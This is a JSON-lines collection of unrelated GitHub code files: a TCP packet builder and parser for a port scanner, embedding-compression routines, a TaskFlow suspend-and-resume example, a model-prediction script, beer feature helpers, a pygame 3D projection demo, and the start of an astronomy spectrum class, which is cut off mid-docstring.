{"seq_id":"1351849724","text":"from dataclasses import dataclass\nimport struct\nfrom socket import inet_aton, IPPROTO_TCP\nfrom array import array\n\n\n\"\"\"\nTCP Header Format\n\n                                    \n    0                   1                   2                   3   \n    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 \n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |          Source Port          |       Destination Port        |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |                        Sequence Number                        |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |                    Acknowledgment Number                      |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |  Data |           |U|A|P|R|S|F|                               |\n   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |\n   |       |           |G|K|H|T|N|N|                               |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |           Checksum            |         Urgent Pointer        |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |                    Options                    |    Padding    |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n   |                             data                              |\n   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\"\"\"\n\n\n@dataclass\nclass TCPData:\n    from_port: int\n    to_port: int\n    sequence: int\n    acknowledgment: int\n    flag_urg: int\n    flag_ack: int\n    flag_psh: int\n    flag_rst: int\n    flag_syn: int\n    flag_fin: int\n\n\nclass TCPPackage:\n    \"\"\" TCP package data \"\"\"\n    def __init__(self, from_host: str, from_port: int, to_host: str, to_port: int, flags: int = 0):\n        self.from_host = from_host\n        self.from_port = from_port\n        self.to_host = to_host\n        self.to_port = to_port\n        self.flags = flags\n\n    def build(self) -> bytes:\n        \"\"\"\n        Build tcp package\n        \"\"\"\n        package = struct.pack(\n            '!HHIIBBHHH',\n            self.from_port,  # Source Port\n            self.to_port,  # Destination Port\n            0,  # Sequence Number\n            0,  # Acknoledgement Number\n            5 << 4,  # Data offset\n            self.flags,  # Flags\n            8192,  # Window\n            0,  # Checksum (initial value)\n            0)  # Urgent pointer\n        pseudo_hdr = struct.pack(\n            '!4s4sHH',\n            inet_aton(self.from_host),  # Source Address\n            inet_aton(self.to_host),  # Destination Address\n            IPPROTO_TCP,  # Protocol ID\n            len(package)  # TCP Length\n        )\n        checksum = self.check_sum(pseudo_hdr + package)\n        package = package[:16] + struct.pack('H', checksum) + package[18:]\n        return package\n\n    @staticmethod\n    def check_sum(package: bytes) -> int:\n        \"\"\"\n        Calculate checksum\n        \"\"\"\n        if len(package) % 2 != 0:\n            package += b'\\0'\n        res = sum(array(\"H\", package))\n        res = (res >> 16) + (res & 0xffff)\n        res += res >> 16\n        return (~res) & 0xffff\n\n    @staticmethod\n    def tcp_head_parse(data: bytes) -> TCPData:\n        \"\"\"\n        Parse tcp header\n        \"\"\"\n        (from_port, to_port, sequence, acknowledgment, offset_flags) = \\\n            struct.unpack('! H H L L H', data[:14])\n        flag_urg = (offset_flags & 32) >> 5\n        flag_ack = (offset_flags & 16) >> 4\n        flag_psh = (offset_flags & 8) >> 3\n        flag_rst = (offset_flags & 4) >> 2\n        flag_syn = (offset_flags & 2) >> 1\n        flag_fin = offset_flags & 1\n        return TCPData(from_port, to_port, sequence, acknowledgment, flag_urg, flag_ack,\n                       flag_psh, flag_rst, flag_syn, flag_fin)\n","repo_name":"art3xa/port_scanner","sub_path":"src/modules/protocols/TCPPackage.py","file_name":"TCPPackage.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9629151793","text":"from quantizers import uniform\nimport utils\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef bucket(row_bucketer, col_bucketer, X):\n    \"\"\"\n    We return a list of lists of buckets of data  The first list represents the \n    row buckets. The second list represents the column buckets.  If you need to \n    do the column wise method first just take the transpose upon entrance and\n    exit of this method. The other two returned arrays specify the mapping from\n    (1) the bucketed rows back to original indexes (in order) and (2) the \n    bucketed columns back to the original indexes (in order).\n    \"\"\"\n\n    row_buckets, row_reorder = row_bucketer.bucket(X)\n    buckets, col_reorder = col_bucketer.bucket(row_buckets, X)\n    return buckets, row_reorder, col_reorder\n\ndef quantize(buckets, quantizer):\n    \"\"\"\n    Quantizes each bucket!\n    \"\"\"\n    q_buckets = []\n    num_bytes = 0\n    print(\"Quantizing...\")\n    for row_bucket in tqdm(buckets):\n        q_col_buckets = []\n        for col_bucket in row_bucket:\n            q_X, q_bytes = quantizer.quantize(col_bucket)\n            num_bytes += q_bytes\n            q_col_buckets.append(q_X)\n        q_buckets.append(q_col_buckets)\n    return q_buckets, num_bytes\n\n\ndef _reconstruct(X, buckets, row_reorder, col_reorder, reconstruction):\n    \"\"\"\n    Reconstructs the buckets into inflated embeddings\n    Allows special reconstruction specifications\n    \"\"\"\n    print(\"Reconstructing...\")\n    codex = None\n    if reconstruction == 'sorted':\n        codex = row_reorder[1]\n        row_reorder = row_reorder[0]\n\n    # Allocate buffers for each row bucket. These are used when the columns are\n    # reconstructed.\n    reconstruction_buffers = []\n    for i in range(len(buckets)):\n        assert (len(buckets[i]) > 0)\n        reconstruction_buffers.append(\n            np.zeros([buckets[i][0].shape[0], X.shape[1]]))\n    # Buffer for the final output.\n    compressed_X = np.zeros(X.shape)\n\n    # The indexes into 'compressed_X' for the rows.\n    row_start = 0\n    row_end = 0\n    for i in tqdm(range(len(buckets))):\n        reconstructed_bucket = None\n        # all column buckets have the same number of rows.\n        row_end = row_start + buckets[i][0].shape[0]\n\n        # The buffer we will reorganize the columns back into.\n        reconstructed_bucket = reconstruction_buffers[i]\n\n        # The col indexes for the 'reconstructed_bucket'.\n        col_start = 0\n        col_end = 0\n\n        for j in range(len(buckets[i])):\n            # stitch into large 'reconstructed' matrix.\n            col_end = col_start + buckets[i][j].shape[1]\n            reconstructed_bucket[:, col_start:col_end] = buckets[i][j]\n            col_start = col_end\n\n        # Sort the buffer by the 'col_reorder' index.\n        new_x = np.zeros(reconstructed_bucket.shape)\n        for c_i in range(len(col_reorder[i])):\n            new_x[:, col_reorder[i][c_i]] = reconstructed_bucket[:, c_i]\n\n        # Place it into our final buffer after it is sorted.\n        compressed_X[row_start:row_end, :] = new_x\n\n        row_start = row_end\n\n    # reorder the 'reconstructed' matrix. by row reorder\n    new_x = np.zeros(compressed_X.shape)\n    for i in range(compressed_X.shape[0]):\n        new_x[row_reorder[i], :] = compressed_X[i, :]\n    #compressed_X = compressed_X[row_reorder, :]\n    compressed_X = np.copy(new_x, order=\"F\")\n\n    if reconstruction == 'sorted':\n        #first reconstruct as per normal\n        X_sorted = compressed_X\n        #now apply the sorted insanity to reconstruct fully\n        X_vect_sorted = X_sorted.reshape(-1, 1)\n        X_vect_desort = np.zeros(X_vect_sorted.shape)\n        for i in range(0, len(X_vect_desort)):\n            X_vect_desort[codex[i]] = X_vect_sorted[i]\n        X_desort = X_vect_desort.reshape(X_sorted.shape)\n        return X_desort\n\n    return compressed_X\n\n\ndef finish(buckets, num_bytes, X, V, row_reorder, col_reorder, filename,\n           recons):\n    compressed_X = _reconstruct(X, buckets, row_reorder, col_reorder, recons)\n\n    # Print stats and send to file.\n    utils.print_stats(X, compressed_X, num_bytes)\n    utils.to_file(filename, V, compressed_X)\n","repo_name":"chrisaberger/embeddingcompression","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"40668348947","text":"import contextlib\nimport logging\nimport os\nimport sys\n\nlogging.basicConfig(level=logging.ERROR)\n\nself_dir = os.path.abspath(os.path.dirname(__file__))\ntop_dir = os.path.abspath(os.path.join(os.path.dirname(__file__),\n                                       os.pardir,\n                                       os.pardir))\nsys.path.insert(0, top_dir)\nsys.path.insert(0, self_dir)\n\nfrom oslo_utils import uuidutils\n\nimport taskflow.engines\nfrom taskflow.patterns import linear_flow as lf\nfrom taskflow.persistence import models\nfrom taskflow import task\n\nimport example_utils as eu  # noqa\n\n# INTRO: In this example linear_flow is used to group three tasks, one which\n# will suspend the future work the engine may do. This suspend engine is then\n# discarded and the workflow is reloaded from the persisted data and then the\n# workflow is resumed from where it was suspended. This allows you to see how\n# to start an engine, have a task stop the engine from doing future work (if\n# a multi-threaded engine is being used, then the currently active work is not\n# preempted) and then resume the work later.\n#\n# Usage:\n#\n#   With a filesystem directory as backend\n#\n#     python taskflow/examples/resume_from_backend.py\n#\n#   With ZooKeeper as backend\n#\n#     python taskflow/examples/resume_from_backend.py \\\n#       zookeeper://127.0.0.1:2181/taskflow/resume_from_backend/\n\n\n# UTILITY FUNCTIONS #########################################\n\n\ndef print_task_states(flowdetail, msg):\n    eu.print_wrapped(msg)\n    print(\"Flow '%s' state: %s\" % (flowdetail.name, flowdetail.state))\n    # Sort by these so that our test validation doesn't get confused by the\n    # order in which the items in the flow detail can be in.\n    items = sorted((td.name, td.version, td.state, td.results)\n                   for td in flowdetail)\n    for item in items:\n        print(\" %s==%s: %s, result=%s\" % item)\n\n\ndef find_flow_detail(backend, lb_id, fd_id):\n    conn = backend.get_connection()\n    lb = conn.get_logbook(lb_id)\n    return lb.find(fd_id)\n\n\n# CREATE FLOW ###############################################\n\n\nclass InterruptTask(task.Task):\n    def execute(self):\n        # DO NOT TRY THIS AT HOME\n        engine.suspend()\n\n\nclass TestTask(task.Task):\n    def execute(self):\n        print('executing %s' % self)\n        return 'ok'\n\n\ndef flow_factory():\n    return lf.Flow('resume from backend example').add(\n        TestTask(name='first'),\n        InterruptTask(name='boom'),\n        TestTask(name='second'))\n\n\n# INITIALIZE PERSISTENCE ####################################\n\nwith eu.get_backend() as backend:\n\n    # Create a place where the persistence information will be stored.\n    book = models.LogBook(\"example\")\n    flow_detail = models.FlowDetail(\"resume from backend example\",\n                                    uuid=uuidutils.generate_uuid())\n    book.add(flow_detail)\n    with contextlib.closing(backend.get_connection()) as conn:\n        conn.save_logbook(book)\n\n    # CREATE AND RUN THE FLOW: FIRST ATTEMPT ####################\n\n    flow = flow_factory()\n    engine = taskflow.engines.load(flow, flow_detail=flow_detail,\n                                   book=book, backend=backend)\n\n    print_task_states(flow_detail, \"At the beginning, there is no state\")\n    eu.print_wrapped(\"Running\")\n    engine.run()\n    print_task_states(flow_detail, \"After running\")\n\n    # RE-CREATE, RESUME, RUN ####################################\n\n    eu.print_wrapped(\"Resuming and running again\")\n\n    # NOTE(harlowja): reload the flow detail from backend, this will allow us\n    # to resume the flow from its suspended state, but first we need to search\n    # for the right flow details in the correct logbook where things are\n    # stored.\n    #\n    # We could avoid re-loading the engine and just do engine.run() again, but\n    # this example shows how another process may unsuspend a given flow and\n    # start it again for situations where this is useful to-do (say the process\n    # running the above flow crashes).\n    flow2 = flow_factory()\n    flow_detail_2 = find_flow_detail(backend, book.uuid, flow_detail.uuid)\n    engine2 = taskflow.engines.load(flow2,\n                                    flow_detail=flow_detail_2,\n                                    backend=backend, book=book)\n    engine2.run()\n    print_task_states(flow_detail_2, \"At the end\")\n","repo_name":"openstack/taskflow","sub_path":"taskflow/examples/resume_from_backend.py","file_name":"resume_from_backend.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","stars":340,"dataset":"github-code","pt":"38"}
{"seq_id":"34225688585","text":"## Imports\n# Data related libraries\nimport numpy as np\nimport pandas as pd\n\n# System\nfrom os import listdir, remove, mkdir, makedirs\nimport os.path\nfrom os.path import isfile, join, splitext\nimport sys, getopt\nfrom pathlib import Path\nfrom datetime import date\nimport tarfile\nfrom genericpath import exists\n\n# Persistance\nimport pickle\n\n# Plotting\nimport matplotlib.pyplot as plt\n\n# Validation\nimport ot\nimport ot.plot\nfrom bisect import bisect_left\n\n# Modeling\nfrom sklearn.preprocessing import minmax_scale, StandardScaler, MinMaxScaler\nfrom sklearn import preprocessing, linear_model\nfrom sklearn.linear_model import LinearRegression, Lasso\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score\n\ndef reduceFilePath(filepath):\n    return os.path.split(filepath)[1]\n\ndef readGraphOnlyData(folder):\n    \"\"\"\n    Reads in the graph features from unlabelled data points (without stress-strain curve)\n    \"\"\"\n\n    # Get all the filenames in the directory\n    path = join(\"features\", folder)\n    files = [f for f in listdir(path) if isfile(join(path, f)) and \"_graph\" in f]\n    \n    li = []\n    \n    # Iterate over files\n    for f in files:\n        file = join(path, f)\n        data = pd.read_csv(file, delimiter=',', encoding='utf-8', index_col = 0)\n        li.append(data)\n        \n    # Combine into dataframe and return\n    data_graphonly = pd.concat(li, axis=0, ignore_index=False)\n    data_graphonly.index = data_graphonly.index.str.replace(\"_Microstructure.graphml\", \"\")\n\t\n    data_graphonly.index = data_graphonly.index.map(reduceFilePath)\n\t\n    data_graphonly = data_graphonly.sort_index()\n    \n    return data_graphonly\n\t\ndef readStretchFeatures(folder):\n    \"\"\"\n    Reads in calculated stretch features placed in 'folder'\n    \"\"\"\n\n    # Get all the filenames in the directory\n    path = join(\"features\", folder)\n    files = [f for f in listdir(path) if isfile(join(path, f)) and \"_stretch\" in f]\n    \n    # Creat empty list\n    li = []\n    \n    # Iterate over files\n    for f in files:\n        file = join(path, f)\n        data = pd.read_csv(file, delimiter=',', encoding='utf-8', index_col = 0)\n        li.append(data)\n        \n    # Combine into dataframe and return\n    data_stretch = pd.concat(li, axis=0, ignore_index=False)\n    data_stretch.index = data_stretch.index.str.replace(\"_Microstructure.graphml\", \"\")\n    data_stretch.index = data_stretch.index.map(reduceFilePath)\n    data_stretch = data_stretch.sort_index()\n    \n    return data_stretch\n\nif __name__ == \"__main__\":\n\n    # Get full command-line arguments\n\tfull_cmd_arguments = sys.argv\n\t\n\t# Load trained models\n\tfile_alpha = sys.argv[1]\n\tfile_beta = sys.argv[2]\n\t\n\t## Alpha\n\tprint(f\"LOG: Loading file: {file_alpha}\")\n\twith open(file_alpha, 'rb') as f:\n\t\tfinal_linreg_alpha2 = pickle.load(f)\n\t#print(final_linreg_alpha2.coef_)\n\t\n\t## Beta\n\tprint(f\"LOG: Loading file: {file_beta}\")\n\twith open(file_beta, 'rb') as f:\n\t\tfinal_linreg_beta2 = pickle.load(f)\n\t#print(final_linreg_beta2.coef_)\n\t\n\tprint(f\"LOG: Loaded models successfully\")\n\t\n\t## Read in Graph_only data\n\tfolder_graphonly_source = sys.argv[3]\n\tdata_graphonly = readGraphOnlyData(folder_graphonly_source)\n\t\n\t## Read in stretch data\n\tdata_stretch = readStretchFeatures(folder_graphonly_source)\n\t\n\tdata_joined = data_graphonly.join(data_stretch)\n\t#print(data_joined)\n\tprint(f\"LOG: Loaded data successfully\")\n\t\n\tpred_alpha = final_linreg_alpha2.predict(data_joined[data_joined.columns[4:]])\n\tpred_beta = final_linreg_beta2.predict(data_joined[data_joined.columns[4:]])\n\t\n\tpred = pd.DataFrame([data_joined.index, pred_alpha, pred_beta]).T\n\tpred.columns = [\"file\", \"alpha\", \"beta\"]\n\tpred = pred.set_index('file')\n\tprint(f\"LOG: Calculated predictions\")\n\t\n\t\n\t#if not exists(join('../results/predictions/', folder_graphonly_source)):\n\t#\tmkdir(join('../results/predictions/', folder_graphonly_source))\n\t\t\n\tif not exists(f'../results/predictions/{folder_graphonly_source}'):\n\t\tmakedirs(f'../results/predictions/{folder_graphonly_source}')\n\t\n\tfor i in pred.index:\n\t\tpred.loc[i].to_csv(f\"../results/predictions/{folder_graphonly_source}/{i}.csv\")\n\t\n\tprint(f\"LOG: Exported predictions\")","repo_name":"pwelke/random-nonwoven-fibers","sub_path":"code/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"74759003311","text":"def ale_or_pilsen(text):\n    if \"ale\" in text.lower():\n        return \"ale\"\n    elif \"lager\" in text.lower():\n        return \"lager\"\n    else:\n        return \"who_knows\"\n\n\ndef ebc_to_group(ebc_color: float) -> str:\n    lovibond = ebc_color / 1.97\n    if lovibond <= 7.5:\n        return \"yellow\"\n    elif lovibond > 7.5 and lovibond <= 14:\n        return \"amber\"\n    elif lovibond > 14 and lovibond <= 25:\n        return \"brown\"\n    elif lovibond > 25:\n        return \"black\"\n\n\ndef group_ph(ph_value):\n    if ph_value <= 3.8:\n        return \"(3.198, 3.8]\"\n    elif ph_value > 3.8 and ph_value <= 4.4:\n        return \"(3.8, 4.4]\"\n    elif ph_value > 4.4 and ph_value <= 5:\n        return \"(4.4, 5.0]\"\n    elif ph_value > 5:\n        return \"(5.0, 5.6]\"\n","repo_name":"gabrielclimb/ml_eng_picpay","sub_path":"model/server/feature_engineering.py","file_name":"feature_engineering.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"18816209196","text":"# ============= Imports ==================\nfrom re import X\nimport pygame\nimport numpy as np\nfrom pynput import keyboard  # using module keyboard\n# from math import *\n\ndirection = 0\n\ndef on_press(key):\n    global direction\n    try:\n        print('alphanumeric key {0} pressed'.format(\n            key.char))\n        if key.char == \"a\":\n            direction = 0\n        elif key.char == \"d\":\n            direction = 1\n        elif key.char == \"w\":\n            direction = 2\n        elif key.char == \"s\":\n            direction = 3\n    except AttributeError:\n        print('special key {0} pressed'.format(\n            key))\n\ndef on_release(key):\n    print('{0} released'.format(\n        key))\n    if key == keyboard.Key.esc:\n        # Stop listener\n        return False\n\n\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nBLACK = (0, 0, 0)\n\nscale = 100\nWIDTH, HEIGHT = 1000, 800\nscreen_center = [WIDTH/2, HEIGHT/2]  # x, y\nsc_center_vec = np.array([[WIDTH/2], [HEIGHT/2]])\npygame.display.set_caption(\"3D projection Lab#2\")\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\n\n\n\npoints = []\np1 = np.array([-1, -1, 1])\np2 = np.array([1, -1, 1])\n\n# ============= Matrices ==================\n\n# matrix = np.array([\n#     [1, 0, 0],\n#     [0, 1, 0],\n#     [0, 0, 1]])\n\nprojection_matrix = np.array([\n    [1, 0, 0, 0],\n    [0, 1, 0, 0]\n])\n\n\ndef get_matrix_Rx(angle):\n    rx = np.array([\n        [1,             0,              0, 0],\n        [0, np.cos(angle), -np.sin(angle), 0],\n        [0, np.sin(angle),  np.cos(angle), 0],\n        [0,             0,              0, 1]])\n\n    return rx\n\n\ndef get_matrix_Ry(angle):\n    ry = np.array([\n        [np.cos(angle) , 0,  np.sin(angle), 0],\n        [0             , 1,              0, 0],\n        [-np.sin(angle), 0,  np.cos(angle), 0],\n        [0             , 0,              0, 1]])\n\n    return ry\n\n\ndef get_matrix_Rz(angle):\n    rz = np.array([\n        [np.cos(angle), -np.sin(angle), 0, 0],\n        [np.sin(angle),  np.cos(angle), 0, 0],\n        [0,             0,              1, 0],\n        [0,             0,              0, 1]])\n\n    return rz\n\n\ndef get_matrix_Tr(tx, ty, tz):\n    translation_matrix = np.array([\n        [1, 0, 0, tx],\n        [0, 1, 0, ty],\n        [0, 0, 1, tz],\n        [0, 0, 0, 1]])\n    return translation_matrix\n\n# ============= Functions ==================\ndef drawline(point1, point2):\n    # tuple1 = (point1.vec[0, 0], point1.vec[1, 0])\n    # tuple2 = (point2.vec[0, 0], point2.vec[1, 0])\n    pygame.draw.line(screen, BLACK, (point1.x,\n                        point1.y), (point2.x, point2.y), width = 4)\n\n\n# ============= Classes ==================\nclass Point():\n    def __init__(self, x, y, z):\n        self.vec = np.array([[x], [y], [z], [1]])\n        self.x = self.vec[0, 0]\n        self.y = self.vec[1, 0]\n        self.z = self.vec[2, 0]\n\n\n    # def __add__(self, other_point):\n\n    def vecprod(self, matrix):\n        self.vec = matrix @ self.vec\n        self.x = self.vec[0, 0]\n        self.y = self.vec[1, 0]\n        self.z = self.vec[2, 0]\n\n        return True\n\n# print(Rz(np.pi/2)@a.vec)\nclass Wheel:\n    def __init__(self, radius, height=0, x=0, y=0, z=0, color='black'):\n\n        self.radius = radius\n        self.height = height\n\n        self.diag_coef = radius/np.sqrt(2)\n        self.color = color\n\n        self.center = Point(x, y, z)\n        self.top = Point(x, y, height)\n\n        self.cirle_points = []\n        self.cirle_points.append( Point(self.center.x, self.center.y + self.radius, self.center.z ))\n        self.cirle_points.append( Point(self.center.x + self.diag_coef, self.center.y + self.diag_coef,\\\n            self.center.z))\n        self.cirle_points.append( Point(self.center.x + self.radius, self.center.y, self.center.z ))\n        self.cirle_points.append( Point(self.center.x + self.diag_coef, self.center.y - self.diag_coef,\\\n            self.center.z))\n        self.cirle_points.append( Point(self.center.x, self.center.y - self.radius, self.center.z ))\n        self.cirle_points.append( Point(self.center.x - self.diag_coef, self.center.y - self.diag_coef,\\\n            self.center.z))\n        self.cirle_points.append( Point(self.center.x - self.radius, self.center.y, self.center.z ))\n        self.cirle_points.append( Point(self.center.x - self.diag_coef, self.center.y + self.diag_coef,\\\n            self.center.z))\n\n        self.points = list(self.cirle_points)\n        self.points.append(self.top)\n        self.points.append(self.center)\n\n    def translate_2_origin(self,):\n        cx, cy, cz = self.center.x, self.center.y, self.center.z\n        for i in range(len(self.points)):\n            self.points[i].vecprod(get_matrix_Tr(-cx, -cy, -cz))\n        return True\n\n\n    def translate(self, tx, ty, tz):\n        for i in range(len(self.points)):\n            self.points[i].vecprod(get_matrix_Tr(tx, ty, tz))\n        return True\n\n# ====================== Rotation ======================\n    def rotate_x(self, angle):\n        cx, cy, cz = self.center.x, self.center.y, self.center.z\n        self.translate_2_origin()\n        for i in range(len(self.points)):\n            self.points[i].vecprod(get_matrix_Rx(angle))\n        self.translate(cx, cy, cz)\n        return True\n\n    def rotate_y(self, angle):\n        cx, cy, cz = self.center.x, self.center.y, self.center.z\n        self.translate_2_origin()\n        for i in range(len(self.points)):\n            self.points[i].vecprod(get_matrix_Ry(angle))\n        self.translate(cx, cy, cz)\n        return True\n\n    def rotate_z(self, angle):\n        cx, cy, cz = self.center.x, self.center.y, self.center.z\n        self.translate_2_origin()\n        for i in range(len(self.points)):\n            self.points[i].vecprod(get_matrix_Rz(angle))\n        self.translate(cx, cy, cz)\n        return True\n\n\n# ====================== Priject and draw ======================\n    def project_to_screen(self):\n        for i in range(len(self.points)):\n            # print(self.points[i].vec, 'mult to\\n', projection_matrix, '  n={}\\n\\n'.format(i))\n            projection2d = projection_matrix @ self.points[i].vec + sc_center_vec\n        return projection2d\n\n\n    def draw(self):\n        # self.project_to_screen()\n        for i in range(len(self.cirle_points)):\n            drawline(self.points[i], (self.points[(i+1) % len(self.cirle_points)]))\n            drawline(self.points[i], (self.top))\n\n\n\nif __name__ == '__main__':\n    '''Main method'''\n\n\n    # # Keyboard:\n    # # Collect events until released\n    # listener = keyboard.Listener(\n    #     on_press=on_press,\n    #     on_release=on_release)\n    # listener.start()\n\n    FPS = 30\n\n    translation = (0.00,0)\n    rotation = 0.001\n\n    # ============= Window and Draw ==================\n    pygame.init()\n    bg = pygame.Surface(screen.get_size())\n    bg.fill((255, 255, 255))\n    bg.convert()\n    clock = pygame.time.Clock()\n    milliseconds = clock.tick(FPS)\n    screen.fill(WHITE)\n    screen.blit(bg, (0,0))\n\n    # ============= Create object ==================\n    w = Wheel(100, height=200, x=0, y=0)\n\n    while True:\n        # clock.tick(5)\n        screen.blit(bg, (0,0))\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                exit()\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_ESCAPE:\n                    pygame.quit()\n                    exit()\n\n        # update stuff\n        # print('transform1\\n', w.center.vec == w.top.vec)\n        # w.translate(5, 5, 0)\n        w.rotate_x(0.001)\n        w.rotate_y(0.001)\n        w.rotate_z(0.001)\n\n        # print('transform2\\n', w.center.vec == w.top.vec)\n        # w.translate_2_origin()\n\n        # print('draw\\n',w.center.vec == w.top.vec, '\\n\\n')\n        w.draw()\n\n\n        pygame.display.update()\n\n","repo_name":"Mikluki/Geometric-modelling-hw","sub_path":"Lab 3/pygame_lab3 paral-projection-v0.py","file_name":"pygame_lab3 paral-projection-v0.py","file_ext":"py","file_size_in_byte":7764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18974198276","text":"import os\nimport glob\nimport psisim\nimport numpy as np\nimport scipy.ndimage as ndi\nimport astropy.units as u\nimport astropy.constants as consts\nfrom astropy.io import fits, ascii\nimport scipy.interpolate as si\nimport copy\nfrom scipy.ndimage.interpolation import shift\nfrom scipy.ndimage import gaussian_filter\nimport warnings\n\ntry: \n    import pysynphot as ps\nexcept ImportError:\n    pass\n\nclass Spectrum():\n    '''\n    A class for spectra manipulation\n\n    The main properties will be: \n    wvs    - sampled wavelengths (np.array of floats, in microns)\n    spectrum    - current flux values of the spectrum (np.array of floats, [photons/s/cm^2/A])\n    R   - spectral resolution (float)\n\n    The main functions will be: \n    downsample_spectrum    - downsample a spectrum from one resolving power to another\n    scale_spectrum_to_vegamag    - scale a spectrum to have a given stellar J-magnitude\n    scale_spectrum_to_ABmag     - scale a spectrum to have a given stellar J-magnitude\n    apply_doppler_shift    - a function to apply a doppler shift to spectrum\n    rotationally_broaden    - a function to rotationally broaden a spectrum\n\n\n    '''\n\n    def __init__(self, wvs, spectrum, R):\n\n        self.wvs = wvs\n        self.spectrum = spectrum\n        self.R = R\n\n        return\n\n    def downsample_spectrum(self,R_out,new_wvs=None):\n        '''\n        Downsample a spectrum from one resolving power to another\n\n        Inputs: \n        R_out\t - The desired resolving power of the output spectrum\n\t    (optional) new_wvs - specify wavelength grid to interpolate downsampled spectrum to\n\n        Outputs:\n        new_spectrum - The original spectrum, but now downsampled (and optionally interpolated)\n        '''\n        fwhm = self.R/R_out\n        sigma = fwhm/(2*np.sqrt(2*np.log(2)))\n        if isinstance(sigma,float):\n            new_spectrum = ndi.gaussian_filter(self.spectrum, sigma)\n        else:\n            new_spectrum = ndi.gaussian_filter(self.spectrum, sigma.value)\n\n        if new_wvs is not None:\n            new_spectrum = np.interp(new_wvs, self.wvs, new_spectrum)\n            self.wvs = new_wvs\n\n        self.spectrum = new_spectrum\n        self.R = R_out\n\n        return new_spectrum\n\n    def scale_spectrum_to_vegamag(self,obj_mag,obj_filt,filters):\n\n        '''\n        Based on etc.scale_host_to_ABmag\n\n        Scale a spectrum to have a given stellar J-magnitude\n\n        Args: \n        wvs     -   An array of wavelenghts, corresponding to the spectrum. [float array]\n        spectrum -  An array of spectrum, in units photons/s/cm^2/A, assumed to have a magnitude of ___ \n        obj_mag   -  The magnitude that we're scaling to in vega mag (immediately converted to AB)\n        '''\n        \n        #conversion from Vega mag input to AB mag\n        obj_mag = convert_vegamag_to_ABmag(obj_filt,obj_mag)\n\n        obj_spec = self.scale_spectrum_to_ABmag(obj_mag,obj_filt,filters)\n        \n        return obj_spec\n\n    def scale_spectrum_to_ABmag(self,obj_mag,obj_filt,filters):\n\n        '''\n        Based on etc.scale_host_to_ABmag\n\n        Scale a spectrum to have a given stellar J-magnitude\n\n        Args: \n        wvs     -   An array of wavelenghts, corresponding to the spectrum. [float array]\n        spectrum -  An array of spectrum, in units photons/s/cm^2/A, assumed to have a magnitude of ___ \n        obj_mag   - The magnitude that we're scaling to in AB mag\n        '''\n\n        import speclite.filters\n\n        this_filter = speclite.filters.load_filters(obj_filt)\n        # import pdb; pdb.set_trace() \n\n        obj_model_mag = this_filter.get_ab_magnitudes(self.spectrum.to(u.erg/u.m**2/u.s/u.Angstrom,equivalencies=u.spectral_density(self.wvs)), self.wvs.to(u.Angstrom))[obj_filt]\n        self.spectrum = self.spectrum * 10**(-0.4*(obj_mag-obj_model_mag))\n\n        return self.spectrum\n       \n\n    def apply_doppler_shift(self,delta_wv,rv_shift):\n        '''\n        A function to apply a doppler shift to a given spectrum\n\n        Inputs: \n        delta_wv    - the spectral resolution of a pixel\n        rv_shift    - the rv shift to apply\n        '''\n\n        #The average resolution of the spetrograph across the current band\n        # delta_lb = instrument.get_wavelength_range()[1]/instrument.current_R\n\n        #The resolution in velocity space\n        dvelocity = delta_wv*consts.c/self.wvs\n\n        #The radial velocity of the host in resolution elements. We'll shift the spectrum by the mean shift. \n        rv_shift_resel = np.mean(rv_shift / dvelocity) * 1000*u.m/u.km\n\n        # import pdb; pdb.set_trace()\n        spec_shifted = shift(self.spectrum.value,rv_shift_resel.value)*self.spectrum.unit\n        self.spectrum = spec_shifted\n\n        \n        return spec_shifted\n\n    def rotationally_broaden(self,ld, vsini, nr=10, ntheta=100, dif = 0.0):\n        '''\n        A function to rotationally broaden a spectrum\n\n        Updated from PyAstronomy fastRotBroad to remove artifacts\n        See Carvalho & Johns-Krull 2023 for description of method 'https://iopscience.iop.org/article/10.3847/2515-5172/acd37e'\n\n        Inputs\n        ------\n        ld : limb darkening coefficient, between 0 and 1\n        vsini : projected rotational velocity (km/s)\n        \n        Optional\n        --------\n        nr : number of radial bins on the projected disk\n        ntheta : number of azimuthal bins in the largest radial annulus\n                note : number of bins at each r is 